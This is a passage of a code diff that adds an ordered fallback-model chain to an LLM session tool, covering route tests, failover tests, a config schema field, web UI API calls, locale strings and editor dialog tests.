openai ", "model_id": " gpt-4o "}, + {"provider_id": "openai", "model_id": "gpt-4o"}, + {"provider_id": "", "model_id": "missing"}, + "invalid", + ], + }) + + assert config.small_model == "openai/gpt-4o-mini" + assert [entry.model_dump() for entry in config.fallback_providers or []] == [ + {"provider_id": "openai", "model_id": "gpt-4o"}, + ] diff --git a/tests/server/routes/test_default_model_fallbacks.py b/tests/server/routes/test_default_model_fallbacks.py new file mode 100644 index 000000000..51ec242b9 --- /dev/null +++ b/tests/server/routes/test_default_model_fallbacks.py @@ -0,0 +1,364 @@ +"""Tests for ordered default-model fallback configuration routes.""" + +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest +from httpx import AsyncClient + +from flocks.provider.provider import Provider +from flocks.provider.types import ModelType +from flocks.server.routes import default_model as default_model_routes + + +class _ModelManagerStub: + """Small model-manager stub for fallback route validation.""" + + def __init__(self, models, disabled=None): + self._models = models + self._disabled = set(disabled or []) + + def get_model(self, provider_id: str, model_id: str): + return self._models.get((provider_id, model_id)) + + def get_setting(self, provider_id: str, model_id: str): + if (provider_id, model_id) in self._disabled: + return SimpleNamespace(enabled=False) + return None + + +def _definition(model_type: ModelType = ModelType.LLM): + return SimpleNamespace(model_type=model_type) + + +@pytest.fixture +def fallback_route_stubs(monkeypatch: pytest.MonkeyPatch): + """Prevent fallback route tests from touching real config and providers.""" + writer = MagicMock() + runtime_config = SimpleNamespace( + provider={}, + disabled_providers=[], + enabled_providers=None, + fallback_providers=[], + ) + apply_config = AsyncMock() + configured_providers = { + "openai": SimpleNamespace(is_configured=lambda: True), + "openrouter": SimpleNamespace(is_configured=lambda: True), + "anthropic": SimpleNamespace(is_configured=lambda: True), + } + + monkeypatch.setattr(default_model_routes, "ConfigWriter", writer) + monkeypatch.setattr( + default_model_routes.Config, + "get", + AsyncMock(return_value=runtime_config), + ) + monkeypatch.setattr( + default_model_routes.Config, + "resolve_default_llm", + AsyncMock(return_value={ + "provider_id": "anthropic", + "model_id": "claude-primary", + }), + ) + monkeypatch.setattr(Provider, "apply_config", apply_config) + monkeypatch.setattr( + Provider, + "get", + lambda provider_id: configured_providers.get(provider_id), + ) + writer.get_fallback_override_source.return_value = None + writer.runtime_config = runtime_config + writer.apply_config = apply_config + writer.configured_providers = configured_providers + return writer + + +@pytest.mark.asyncio +async def test_get_fallbacks_uses_effective_config_and_keeps_stale_entries( + client: AsyncClient, + fallback_route_stubs: MagicMock, +): + fallback_route_stubs.runtime_config.fallback_providers = [ + { + "provider_id": "removed-provider", + "model_id": "vendor/removed-model", + }, + ] + + response = await client.get("/api/default-model/fallbacks") + + assert response.status_code == 200 + assert response.json() == { + "fallback_providers": [ + { + "provider_id": "removed-provider", + "model_id": "vendor/removed-model", + }, + ], + } + + +@pytest.mark.asyncio +async def test_get_fallbacks_does_not_read_only_writable_layer( + client: AsyncClient, + fallback_route_stubs: MagicMock, +): + fallback_route_stubs.get_fallback_providers.return_value = [ + {"provider_id": "global", "model_id": "global-model"}, + ] + fallback_route_stubs.runtime_config.fallback_providers = [ + {"provider_id": "inline", "model_id": "effective-model"}, + ] + + response = await client.get("/api/default-model/fallbacks") + + assert response.status_code == 200 + assert response.json() == { + "fallback_providers": [ + {"provider_id": "inline", "model_id": "effective-model"}, + ], + } + fallback_route_stubs.get_fallback_providers.assert_not_called() + + +@pytest.mark.asyncio +async def test_put_fallbacks_rejects_higher_priority_override( + client: AsyncClient, + fallback_route_stubs: MagicMock, +): + fallback_route_stubs.get_fallback_override_source.return_value = ( + "FLOCKS_CONFIG_CONTENT" + ) + + response = await client.put( + "/api/default-model/fallbacks", + json={"fallback_providers": []}, + ) + + assert response.status_code == 409 + assert "FLOCKS_CONFIG_CONTENT" in str(response.json()) + fallback_route_stubs.set_fallback_providers.assert_not_called() + + +@pytest.mark.asyncio +async def test_put_fallbacks_normalizes_and_preserves_order( + client: AsyncClient, + fallback_route_stubs: MagicMock, + monkeypatch: pytest.MonkeyPatch, +): + models = { + ("openai", "gpt-4o"): _definition(), + ("openrouter", "vendor/model-v2"): _definition(), + } + monkeypatch.setattr( + default_model_routes, + "get_model_manager", + lambda: _ModelManagerStub(models), + ) + + response = await client.put( + "/api/default-model/fallbacks", + json={ + "fallback_providers": [ + {"provider_id": " openai ", "model_id": " gpt-4o "}, + { + "provider_id": "openrouter", + "model_id": "vendor/model-v2", + }, + ], + }, + ) + + expected = [ + {"provider_id": "openai", "model_id": "gpt-4o"}, + {"provider_id": "openrouter", "model_id": "vendor/model-v2"}, + ] + assert response.status_code == 200 + assert response.json() == {"fallback_providers": expected} + fallback_route_stubs.set_fallback_providers.assert_called_once_with(expected) + + +@pytest.mark.asyncio +async def test_put_fallbacks_loads_config_models_before_validation( + client: AsyncClient, + fallback_route_stubs: MagicMock, + monkeypatch: pytest.MonkeyPatch, +): + identity = ("openai", "configured-model") + models = {} + monkeypatch.setattr( + default_model_routes, + "get_model_manager", + lambda: _ModelManagerStub(models), + ) + + async def load_config_models(config): + assert config is fallback_route_stubs.runtime_config + models[identity] = _definition() + + fallback_route_stubs.apply_config.side_effect = load_config_models + + response = await client.put( + "/api/default-model/fallbacks", + json={ + "fallback_providers": [ + {"provider_id": identity[0], "model_id": identity[1]}, + ], + }, + ) + + assert response.status_code == 200 + fallback_route_stubs.apply_config.assert_awaited_once_with( + fallback_route_stubs.runtime_config + ) + + +@pytest.mark.asyncio +async def test_put_empty_fallbacks_clears_configuration( + client: AsyncClient, + fallback_route_stubs: MagicMock, + monkeypatch: pytest.MonkeyPatch, +): + monkeypatch.setattr( + default_model_routes, + "get_model_manager", + lambda: _ModelManagerStub({}), + ) + + response = await client.put( + "/api/default-model/fallbacks", + json={"fallback_providers": []}, + ) + + assert response.status_code == 200 + assert response.json() == {"fallback_providers": []} + fallback_route_stubs.set_fallback_providers.assert_called_once_with([]) + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + ("payload", "models", "disabled", "configured", "detail"), + [ + ( + [{"provider_id": " ", "model_id": "gpt-4o"}], + {}, + set(), + True, + "must include provider_id and model_id", + ), + ( + [ + {"provider_id": "openai", "model_id": "gpt-4o"}, + {"provider_id": " openai ", "model_id": " gpt-4o "}, + ], + {("openai", "gpt-4o"): _definition()}, + set(), + True, + "Duplicate fallback model", + ), + ( + [{"provider_id": "anthropic", "model_id": "claude-primary"}], + {("anthropic", "claude-primary"): _definition()}, + set(), + True, + "is the current default LLM", + ), + ( + [{"provider_id": "openai", "model_id": "missing-model"}], + {}, + set(), + True, + "Unknown fallback model", + ), + ( + [{"provider_id": "openai", "model_id": "embedding-model"}], + { + ("openai", "embedding-model"): _definition( + ModelType.TEXT_EMBEDDING + ), + }, + set(), + True, + "is not an LLM", + ), + ( + [{"provider_id": "openai", "model_id": "gpt-disabled"}], + {("openai", "gpt-disabled"): _definition()}, + {("openai", "gpt-disabled")}, + True, + "is disabled", + ), + ( + [{"provider_id": "openai", "model_id": "gpt-4o"}], + {("openai", "gpt-4o"): _definition()}, + set(), + False, + "is not configured", + ), + ], +) +async def test_put_fallbacks_rejects_invalid_entries( + client: AsyncClient, + fallback_route_stubs: MagicMock, + monkeypatch: pytest.MonkeyPatch, + payload, + models, + disabled, + configured, + detail, +): + monkeypatch.setattr( + default_model_routes, + "get_model_manager", + lambda: _ModelManagerStub(models, disabled), + ) + if not configured: + fallback_route_stubs.configured_providers.pop("openai", None) + + response = await client.put( + "/api/default-model/fallbacks", + json={"fallback_providers": payload}, + ) + + assert response.status_code == 400 + assert detail in str(response.json()) + fallback_route_stubs.set_fallback_providers.assert_not_called() + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + ("disabled_providers", "enabled_providers"), + [ + (["openai"], None), + ([], ["anthropic"]), + ], +) +async def test_put_fallbacks_honors_provider_filters( + client: AsyncClient, + fallback_route_stubs: MagicMock, + monkeypatch: pytest.MonkeyPatch, + disabled_providers, + enabled_providers, +): + fallback_route_stubs.runtime_config.disabled_providers = disabled_providers + fallback_route_stubs.runtime_config.enabled_providers = enabled_providers + monkeypatch.setattr( + default_model_routes, + "get_model_manager", + lambda: _ModelManagerStub({("openai", "gpt-4o"): _definition()}), + ) + + response = await client.put( + "/api/default-model/fallbacks", + json={ + "fallback_providers": [ + {"provider_id": "openai", "model_id": "gpt-4o"}, + ], + }, + ) + + assert response.status_code == 400 + assert "provider 'openai' is disabled" in str(response.json()) + fallback_route_stubs.set_fallback_providers.assert_not_called() diff --git a/tests/session/test_auto_model_failover.py b/tests/session/test_auto_model_failover.py index 98541ec3c..626f86a7c 100644 --- a/tests/session/test_auto_model_failover.py +++ b/tests/session/test_auto_model_failover.py @@ -914,6 +914,31 @@ async def process_step(runner, _messages, _last_user): ) == 1 +@pytest.mark.asyncio +async def test_configured_switch_does_not_set_cross_turn_cooldown(monkeypatch): + ctx = _ctx() + ctx.model_candidate_policy = "configured" + last_user = SimpleNamespace(id="msg_user", agent="rex") + + async def process_step(runner, _messages, _last_user): + if runner.provider_id == "primary": + return _failure(assistant_id="msg_rate", reason="rate_limit") + return StepResult(action="stop", content="recovered") + + monkeypatch.setattr(SessionRunner, "_process_step", process_step) + monkeypatch.setattr(Message, "delete", AsyncMock(return_value=True)) + + await SessionLoop._process_step_with_failover( + ctx, + LoopCallbacks(), + [last_user], + last_user, + ) + + assert (ctx.provider_id, ctx.model_id) == ("fallback", "fallback-model") + assert ctx.session.id not in SessionLoop._auto_failover_cooldowns + + @pytest.mark.asyncio async def test_403_quota_failure_sets_primary_cooldown(monkeypatch): decision = SessionRunner.classify_failover_error({ @@ -1130,6 +1155,72 @@ async def test_candidate_builder_allows_primary_only_chain(monkeypatch): ) == [primary] +@pytest.mark.asyncio +async def test_candidate_builder_uses_configured_order_without_discovery( + monkeypatch, +): + config = SimpleNamespace(fallback_providers=[ + SimpleNamespace(provider_id="other", model_id="model-b"), + SimpleNamespace(provider_id="primary", model_id="model-a"), + SimpleNamespace(provider_id="missing", model_id="missing-model"), + ]) + model_manager = MagicMock() + monkeypatch.setattr( + "flocks.provider.provider.Provider.apply_config", + AsyncMock(), + ) + monkeypatch.setattr( + "flocks.provider.model_manager.get_model_manager", + lambda: model_manager, + ) + + async def validate(provider_id, _model_id, **_kwargs): + available = provider_id != "missing" + return available, "available" if available else "provider_not_configured" + + monkeypatch.setattr(SessionLoop, "validate_runtime_model", validate) + primary = RuntimeModel("primary", "primary-model") + + candidates = await SessionLoop._build_model_candidates( + primary, + route_seed="unused-for-configured", + preferred=RuntimeModel("other", "model-b"), + config=config, + ) + + assert candidates == [ + primary, + RuntimeModel("other", "model-b"), + RuntimeModel("primary", "model-a"), + ] + model_manager.list_models.assert_not_called() + + +@pytest.mark.asyncio +async def test_configured_chain_with_no_available_fallbacks_keeps_primary_only( + monkeypatch, +): + config = SimpleNamespace(fallback_providers=[ + SimpleNamespace(provider_id="missing", model_id="missing-model"), + ]) + monkeypatch.setattr( + "flocks.provider.provider.Provider.apply_config", + AsyncMock(), + ) + monkeypatch.setattr( + SessionLoop, + "validate_runtime_model", + AsyncMock(return_value=(False, "provider_not_configured")), + ) + primary = RuntimeModel("primary", "primary-model") + + assert await SessionLoop._build_model_candidates( + primary, + route_seed="unused-for-configured", + config=config, + ) == [primary] + + def test_cooldown_is_cleared_when_primary_changes(): candidates = [ RuntimeModel("new-primary", "new-model"), @@ -1149,6 +1240,7 @@ def test_cooldown_is_cleared_when_primary_changes(): @pytest.mark.asyncio async def test_synthetic_subtask_continuation_keeps_fallback(monkeypatch): ctx = _ctx(index=1) + ctx.model_candidate_policy = "configured" ctx.turn_user_id = "msg_real" synthetic_user = SimpleNamespace( id="msg_subtask_continue", @@ -1181,6 +1273,11 @@ async def test_first_real_turn_builds_stable_chain_from_user_id(monkeypatch): RuntimeModel("primary", "same-provider-model"), RuntimeModel("other", "other-provider-model"), ] + config = SimpleNamespace(fallback_providers=None) + monkeypatch.setattr( + "flocks.config.config.Config.get", + AsyncMock(return_value=config), + ) build = AsyncMock(return_value=rebuilt) monkeypatch.setattr(SessionLoop, "_build_model_candidates", build) @@ -1192,9 +1289,51 @@ async def test_first_real_turn_builds_stable_chain_from_user_id(monkeypatch): RuntimeModel("primary", "primary-model"), route_seed="ses_auto:msg_first", preferred=None, + config=config, ) +@pytest.mark.asyncio +async def test_configured_first_real_turn_ignores_cooldown_and_starts_primary( + monkeypatch, +): + ctx = _ctx(index=1) + ctx.turn_user_id = None + first_user = SimpleNamespace( + id="msg_first", + model={"providerID": "primary", "modelID": "primary-model"}, + ) + config = SimpleNamespace(fallback_providers=[ + SimpleNamespace(provider_id="fallback", model_id="fallback-model"), + ]) + rebuilt = [ + RuntimeModel("primary", "primary-model"), + RuntimeModel("fallback", "fallback-model"), + ] + SessionLoop._auto_failover_cooldowns[ctx.session.id] = AutoFailoverCooldown( + model=rebuilt[1], + primary=rebuilt[0], + expires_at=float("inf"), + reason="rate_limit", + ) + monkeypatch.setattr( + "flocks.config.config.Config.get", + AsyncMock(return_value=config), + ) + monkeypatch.setattr( + SessionLoop, + "_build_model_candidates", + AsyncMock(return_value=rebuilt), + ) + + await SessionLoop._prepare_auto_turn(ctx, first_user) + + assert ctx.model_candidate_policy == "configured" + assert ctx.candidate_index == 0 + assert (ctx.provider_id, ctx.model_id) == ("primary", "primary-model") + assert ctx.session.id not in SessionLoop._auto_failover_cooldowns + + @pytest.mark.asyncio async def test_queued_explicit_model_disables_auto(monkeypatch): ctx = _ctx(index=1) @@ -1269,6 +1408,11 @@ async def test_queued_webui_turn_rebuilds_auto_chain(monkeypatch): "model_id": "primary-model", }), ) + config = SimpleNamespace(fallback_providers=None) + monkeypatch.setattr( + "flocks.config.config.Config.get", + AsyncMock(return_value=config), + ) build = AsyncMock(return_value=rebuilt) monkeypatch.setattr(SessionLoop, "_build_model_candidates", build) @@ -1280,9 +1424,56 @@ async def test_queued_webui_turn_rebuilds_auto_chain(monkeypatch): RuntimeModel("primary", "primary-model"), route_seed="ses_auto:msg_auto", preferred=None, + config=config, ) +@pytest.mark.asyncio +async def test_queued_configured_turn_restarts_from_primary(monkeypatch): + ctx = _ctx(index=1) + ctx.turn_user_id = "msg_previous" + ctx.auto_failover_allowed = True + ctx.model_candidate_policy = "configured" + queued_user = SimpleNamespace( + id="msg_next", + model={"providerID": "primary", "modelID": "primary-model"}, + ) + rebuilt = [ + RuntimeModel("primary", "primary-model"), + RuntimeModel("fallback", "fallback-model"), + ] + config = SimpleNamespace(fallback_providers=[ + SimpleNamespace(provider_id="fallback", model_id="fallback-model"), + ]) + monkeypatch.setattr(Message, "parts", AsyncMock(return_value=[])) + monkeypatch.setattr( + "flocks.session.session.Session.get_by_id", + AsyncMock(return_value=_session(model_auto=True)), + ) + monkeypatch.setattr( + "flocks.config.config.Config.get", + AsyncMock(return_value=config), + ) + monkeypatch.setattr( + "flocks.config.config.Config.resolve_default_llm", + AsyncMock(return_value={ + "provider_id": "primary", + "model_id": "primary-model", + }), + ) + monkeypatch.setattr( + SessionLoop, + "_build_model_candidates", + AsyncMock(return_value=rebuilt), + ) + + await SessionLoop._prepare_auto_turn(ctx, queued_user) + + assert ctx.model_candidate_policy == "configured" + assert ctx.candidate_index == 0 + assert (ctx.provider_id, ctx.model_id) == ("primary", "primary-model") + + @pytest.mark.asyncio @pytest.mark.parametrize("category", ["user", "entity-config", "workflow"]) async def test_queued_webui_auto_authorizes_active_loop(category): diff --git a/tui/flocks/config/config.ts b/tui/flocks/config/config.ts index 12e9e5e55..5085330ed 100644 --- a/tui/flocks/config/config.ts +++ b/tui/flocks/config/config.ts @@ -931,6 +931,17 @@ export namespace Config { .string() .describe("Small model to use for tasks like title generation in the format of provider/model") .optional(), + fallback_providers: z + .array( + z + .object({ + provider_id: z.string(), + model_id: z.string(), + }) + .strict(), + ) + .optional() + .describe("Ordered fallback models used by WebUI Auto mode after the primary model fails"), default_agent: z .string() .optional() diff --git a/webui/src/api/provider.ts b/webui/src/api/provider.ts index de9467005..f127e70cc 100644 --- a/webui/src/api/provider.ts +++ b/webui/src/api/provider.ts @@ -5,6 +5,7 @@ import type { ProviderInfoV2, ModelDefinitionV2, DefaultModelConfig, + FallbackModelsConfig, UsageStats, CustomProviderCreate, CustomProviderInfo, @@ -250,6 +251,16 @@ export const defaultModelAPI = { delete: (modelType: string) => client.delete(`/api/default-model/${modelType}`), + /** Get the ordered runtime fallback chain used by WebUI Auto sessions. */ + getFallbacks: () => + client.get('/api/default-model/fallbacks'), + + /** Replace the ordered runtime fallback chain. An empty list clears it. */ + setFallbacks: (fallbackProviders: FallbackModelsConfig['fallback_providers']) => + client.put('/api/default-model/fallbacks', { + fallback_providers: fallbackProviders, + }), + }; // ==================== Usage API ==================== diff --git a/webui/src/locales/en-US/model.json b/webui/src/locales/en-US/model.json index 569a34d51..937fdc6ef 100644 --- a/webui/src/locales/en-US/model.json +++ b/webui/src/locales/en-US/model.json @@ -9,6 +9,10 @@ "setDefaultModel": "Set Default Model", "defaultModelUpdated": "Default model updated", "defaultModelInvalid": "Default model \"{{model}}\" is no longer available and has been cleared. Please select a new one.", + "fallbackModels": "Auxiliary Models", + "noFallbackModels": "Automatic", + "fallbackAvailability": "{{available}} / {{total}} available", + "editFallbackModels": "Edit auxiliary models", "connected": "Connected Provider", "availableModels": "Available Models", "totalUsage": "Total Usage", @@ -18,6 +22,25 @@ "noCost": "No cost", "toggleCurrency": "Click to switch between USD and CNY" }, + "fallbacks": { + "title": "Auxiliary Models", + "description": "After the primary model fails, Auto tries these models in order. Every new user turn starts with the primary model.", + "empty": "No auxiliary models configured", + "emptyHint": "Auto uses its automatic same-provider and cross-provider selection strategy.", + "unavailable": "Unavailable", + "removeInvalidHint": "Remove disabled, deleted, unconfigured, or primary-model entries before saving.", + "moveUp": "Move up", + "moveDown": "Move down", + "remove": "Remove auxiliary model", + "add": "Add auxiliary model", + "noModelsToAdd": "No more available models", + "loadFailed": "Failed to load auxiliary model configuration. Nothing can be saved until it is reloaded.", + "retry": "Retry", + "close": "Close auxiliary model configuration", + "cancel": "Cancel", + "save": "Save", + "saved": "Auxiliary models updated" + }, "modelSelection": { "info": "Model information", "free": "Free", diff --git a/webui/src/locales/zh-CN/model.json b/webui/src/locales/zh-CN/model.json index 1d8ddef75..bf9dd91d3 100644 --- a/webui/src/locales/zh-CN/model.json +++ b/webui/src/locales/zh-CN/model.json @@ -9,6 +9,10 @@ "setDefaultModel": "设置默认模型", "defaultModelUpdated": "默认模型已更新", "defaultModelInvalid": "当前默认模型「{{model}}」已不在可用列表中，已自动清除，请重新选择", + "fallbackModels": "辅助模型", + "noFallbackModels": "自动策略", + "fallbackAvailability": "{{available}} / {{total}} 可用", + "editFallbackModels": "编辑辅助模型", "connected": "已连接 Provider", "availableModels": "可用模型", "totalUsage": "总用量", @@ -18,6 +22,25 @@ "noCost": "暂无费用", "toggleCurrency": "点击切换人民币 / 美元" }, + "fallbacks": { + "title": "辅助模型", + "description": "主模型失败后，Auto 会按顺序尝试这些模型；每个新的用户回合仍从主模型开始。", + "empty": "尚未配置辅助模型", + "emptyHint": "Auto 将使用当前的同 Provider、跨 Provider 自动选择策略。", + "unavailable": "不可用", + "removeInvalidHint": "保存前请移除已停用、已删除、未配置或与主模型重复的条目。", + "moveUp": "上移", + "moveDown": "下移", + "remove": "移除辅助模型", + "add": "添加辅助模型", + "noModelsToAdd": "没有更多可用模型", + "loadFailed": "辅助模型配置加载失败，重新加载前不会保存任何更改。", + "retry": "重试", + "close": "关闭辅助模型配置", + "cancel": "取消", + "save": "保存", + "saved": "辅助模型已更新" + }, "modelSelection": { "info": "模型信息", "free": "免费", diff --git a/webui/src/pages/Model/index.test.tsx b/webui/src/pages/Model/index.test.tsx index a47fc94e3..cabbe5667 100644 --- a/webui/src/pages/Model/index.test.tsx +++ b/webui/src/pages/Model/index.test.tsx @@ -17,6 +17,8 @@ const mocks = vi.hoisted(() => ({ refetch: vi.fn(), getSummary: vi.fn(), getResolved: vi.fn(), + getFallbacks: vi.fn(), + setFallbacks: vi.fn(), listDefinitions: vi.fn(), createDefinition: vi.fn(), getModelSettings: vi.fn(), @@ -144,6 +146,8 @@ vi.mock('@/api/provider', () => ({ }, defaultModelAPI: { getResolved: mocks.getResolved, + getFallbacks: mocks.getFallbacks, + setFallbacks: mocks.setFallbacks, delete: vi.fn(), set: vi.fn(), }, @@ -162,6 +166,8 @@ describe('ModelPage add provider dialog', () => { }); mocks.getSummary.mockResolvedValue({ data: null }); mocks.getResolved.mockResolvedValue({ data: null }); + mocks.getFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); + mocks.setFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); mocks.listDefinitions.mockResolvedValue({ data: { models: [] } }); mocks.catalogList.mockResolvedValue({ data: { @@ -270,6 +276,8 @@ describe('ModelPage configure provider dialog', () => { }); mocks.getSummary.mockResolvedValue({ data: null }); mocks.getResolved.mockResolvedValue({ data: null }); + mocks.getFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); + mocks.setFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); mocks.listDefinitions.mockResolvedValue({ data: { models: [model], total: 1 } }); mocks.catalogList.mockResolvedValue({ data: { @@ -411,6 +419,18 @@ describe('ModelPage default model selector', () => { modelCount: 1, category: 'connected', }, + { + id: 'disconnected', + name: 'Disconnected Provider', + source: 'config', + env: [], + key: null, + options: {}, + models: {}, + configured: false, + modelCount: 1, + category: 'available', + }, ]; const models = [ { @@ -452,6 +472,8 @@ describe('ModelPage default model selector', () => { }); mocks.getSummary.mockResolvedValue({ data: null }); mocks.getResolved.mockResolvedValue({ data: { provider_id: 'openai', model_id: 'gpt-4o' } }); + mocks.getFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); + mocks.setFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); mocks.listDefinitions.mockResolvedValue({ data: { models, total: models.length } }); mocks.createDefinition.mockResolvedValue({ data: {} }); mocks.getModelSettings.mockResolvedValue({ @@ -606,3 +628,204 @@ describe('ModelPage default model selector', () => { }); }); }); + +describe('ModelPage auxiliary model editor', () => { + const providers = [ + { + id: 'openai', + name: 'OpenAI Gateway', + source: 'config', + env: [], + key: null, + options: {}, + models: {}, + configured: true, + modelCount: 2, + category: 'connected', + }, + { + id: 'minimax', + name: 'MiniMax Cloud', + source: 'config', + env: [], + key: null, + options: {}, + models: {}, + configured: true, + modelCount: 1, + category: 'connected', + }, + ]; + const models = [ + { + id: 'gpt-4o', + name: 'GPT-4o', + provider_id: 'openai', + model_type: 'llm', + status: 'active', + capabilities: { features: [], supports_streaming: true, supports_tools: true }, + }, + { + id: 'unconfigured-model', + name: 'Unconfigured Model', + provider_id: 'disconnected', + model_type: 'llm', + status: 'active', + capabilities: { features: [], supports_streaming: true, supports_tools: true }, + }, + { + id: 'gpt-4o-mini', + name: 'GPT-4o Mini', + provider_id: 'openai', + model_type: 'llm', + status: 'active', + capabilities: { features: [], supports_streaming: true, supports_tools: true }, + }, + { + id: 'minimax-m3', + name: 'MiniMax M3', + provider_id: 'minimax', + model_type: 'llm', + status: 'active', + capabilities: { features: [], supports_streaming: true, supports_tools: true }, + }, + ]; + + beforeEach(() => { + vi.clearAllMocks(); + localStorage.clear(); + sessionStorage.clear(); + mocks.useProviders.mockReturnValue({ + providers, + connectedIds: ['openai', 'minimax'], + loading: false, + error: null, + refetch: mocks.refetch, + }); + mocks.getSummary.mockResolvedValue({ data: null }); + mocks.getResolved.mockResolvedValue({ + data: { provider_id: 'openai', model_id: 'gpt-4o' }, + }); + mocks.getFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); + mocks.setFallbacks.mockResolvedValue({ data: { fallback_providers: [] } }); + mocks.listDefinitions.mockResolvedValue({ data: { models, total: models.length } }); + mocks.getCredentials.mockResolvedValue({ data: null }); + mocks.testCredentials.mockResolvedValue({ data: { success: true, latency_ms: 10 } }); + }); + + async function openEditor(user: ReturnType) { + renderWithRouter(); + await user.click(await screen.findByTitle('dashboard.editFallbackModels')); + return screen.findByRole('dialog', { name: 'fallbacks.title' }); + } + + it('explains automatic routing when no auxiliary models are configured', async () => { + const user = userEvent.setup(); + const dialog = await openEditor(user); + + expect(within(dialog).getByText('fallbacks.empty')).toBeInTheDocument(); + expect(within(dialog).getByText('fallbacks.emptyHint')).toBeInTheDocument(); + expect(within(dialog).getByRole('button', { name: 'fallbacks.save' })).toBeDisabled(); + }); + + it('adds and saves an auxiliary model without offering the primary model', async () => { + const user = userEvent.setup(); + const dialog = await openEditor(user); + const editor = within(dialog); + + await user.click(editor.getByRole('button', { name: 'fallbacks.add' })); + expect(editor.queryByRole('button', { name: /GPT-4o gpt-4o$/ })).not.toBeInTheDocument(); + expect(editor.queryByRole('button', { name: /Unconfigured Model/ })).not.toBeInTheDocument(); + await user.click(editor.getByRole('button', { name: /MiniMax M3 minimax-m3/ })); + await user.click(editor.getByRole('button', { name: 'fallbacks.save' })); + + await waitFor(() => { + expect(mocks.setFallbacks).toHaveBeenCalledWith([ + { provider_id: 'minimax', model_id: 'minimax-m3' }, + ]); + }); + }); + + it('reorders configured auxiliary models before saving', async () => { + mocks.getFallbacks.mockResolvedValue({ + data: { + fallback_providers: [ + { provider_id: 'minimax', model_id: 'minimax-m3' }, + { provider_id: 'openai', model_id: 'gpt-4o-mini' }, + ], + }, + }); + const user = userEvent.setup(); + const dialog = await openEditor(user); + const editor = within(dialog); + + await user.click(editor.getAllByRole('button', { name: 'fallbacks.moveDown' })[0]); + await user.click(editor.getByRole('button', { name: 'fallbacks.save' })); + + await waitFor(() => { + expect(mocks.setFallbacks).toHaveBeenCalledWith([ + { provider_id: 'openai', model_id: 'gpt-4o-mini' }, + { provider_id: 'minimax', model_id: 'minimax-m3' }, + ]); + }); + }); + + it('keeps the editor open and reports save failures', async () => { + mocks.setFallbacks.mockRejectedValueOnce(new Error('configuration is read-only')); + const user = userEvent.setup(); + const dialog = await openEditor(user); + const editor = within(dialog); + + await user.click(editor.getByRole('button', { name: 'fallbacks.add' })); + await user.click(editor.getByRole('button', { name: /MiniMax M3 minimax-m3/ })); + await user.click(editor.getByRole('button', { name: 'fallbacks.save' })); + + await waitFor(() => { + expect(mocks.toast.error).toHaveBeenCalledWith( + 'operationFailed', + 'configuration is read-only', + ); + }); + expect(screen.getByRole('dialog', { name: 'fallbacks.title' })).toBeInTheDocument(); + }); + + it('blocks saving stale entries until they are removed, then clears the chain', async () => { + mocks.getFallbacks.mockResolvedValue({ + data: { + fallback_providers: [ + { provider_id: 'retired', model_id: 'retired-model' }, + ], + }, + }); + const user = userEvent.setup(); + const dialog = await openEditor(user); + const editor = within(dialog); + + expect(editor.getByText('fallbacks.unavailable')).toBeInTheDocument(); + expect(editor.getByText('fallbacks.removeInvalidHint')).toBeInTheDocument(); + expect(editor.getByRole('button', { name: 'fallbacks.save' })).toBeDisabled(); + + await user.click(editor.getByRole('button', { name: 'fallbacks.remove' })); + await user.click(editor.getByRole('button', { name: 'fallbacks.save' })); + + await waitFor(() => expect(mocks.setFallbacks).toHaveBeenCalledWith([])); + }); + + it('blocks edits until a failed configuration load is retried', async () => { + mocks.getFallbacks + .mockRejectedValueOnce(new Error('auxiliary request failed')) + .mockResolvedValueOnce({ data: { fallback_providers: [] } }); + const user = userEvent.setup(); + const dialog = await openEditor(user); + const editor = within(dialog); + + expect(await editor.findByText('fallbacks.loadFailed')).toBeInTheDocument(); + expect(editor.getByRole('button', { name: 'fallbacks.save' })).toBeDisabled(); + await user.click(editor.getByRole('button', { name: 'fallbacks.retry' })); + + await waitFor(() => expect(mocks.getFallbacks).toHaveBeenCalledTimes(2)); + await waitFor(() => { + expect(editor.queryByText('fallbacks.loadFailed')).not.toBeInTheDocument(); + }); + }); +}); diff --git a/webui/src/pages/Model/index.tsx b/webui/src/pages/Model/index.tsx index b7dd8b3ee..0f0097b07 100644 --- a/webui/src/pages/Model/index.tsx +++ b/webui/src/pages/Model/index.tsx @@ -8,7 +8,7 @@ import { Plus, ToggleLeft, ToggleRight, ChevronDown, Check, AlertCircle, Loader2, X, Shield, Pencil, Star, AlertTriangle, - CheckCircle2, + CheckCircle2, ArrowUp, ArrowDown, ListOrdered, Info, } from 'lucide-react'; import PageHeader from '@/components/common/PageHeader'; @@ -35,7 +35,7 @@ import { import type { ProviderCredentials, ModelDefinitionV2, UsageStats, CatalogProvider, CatalogModel, CatalogCredentialField, ModelSettingV2, - CustomModelCreate, ProviderCredentialInput, + CustomModelCreate, ProviderCredentialInput, FallbackModelRef, } from '@/types'; // ==================== Provider Auth Helpers ==================== @@ -149,6 +149,11 @@ export default function ModelPage() { const [usageStats, setUsageStats] = useState(null); const [defaultModel, setDefaultModel] = useState<{ provider_id: string; model_id: string } | null>(null); const [showDefaultModelDialog, setShowDefaultModelDialog] = useState(false); + const [fallbackModels, setFallbackModels] = useState([]); + const [fallbackModelsLoading, setFallbackModelsLoading] = useState(true); + const [fallbackModelsLoadError, setFallbackModelsLoadError] = useState(null); + const [availableRoutingModels, setAvailableRoutingModels] = useState([]); + const [showFallbackModelsDialog, setShowFallbackModelsDialog] = useState(false); // Refs for latest handler/state values (avoid stale closures in SSE & one-time effects) const sseRefetchTimer = useRef(null); @@ -171,15 +176,34 @@ export default function ModelPage() { reconnect: { maxRetries: 5, initialDelay: 2000 }, }); + const loadFallbackModels = useCallback(async (): Promise => { + setFallbackModelsLoading(true); + setFallbackModelsLoadError(null); + try { + const response = await defaultModelAPI.getFallbacks(); + setFallbackModels(response.data.fallback_providers || []); + return true; + } catch (loadError) { + setFallbackModelsLoadError( + loadError instanceof Error ? loadError.message : 'Failed to load auxiliary models', + ); + return false; + } finally { + setFallbackModelsLoading(false); + } + }, []); + // Fetch dashboard data on mount and 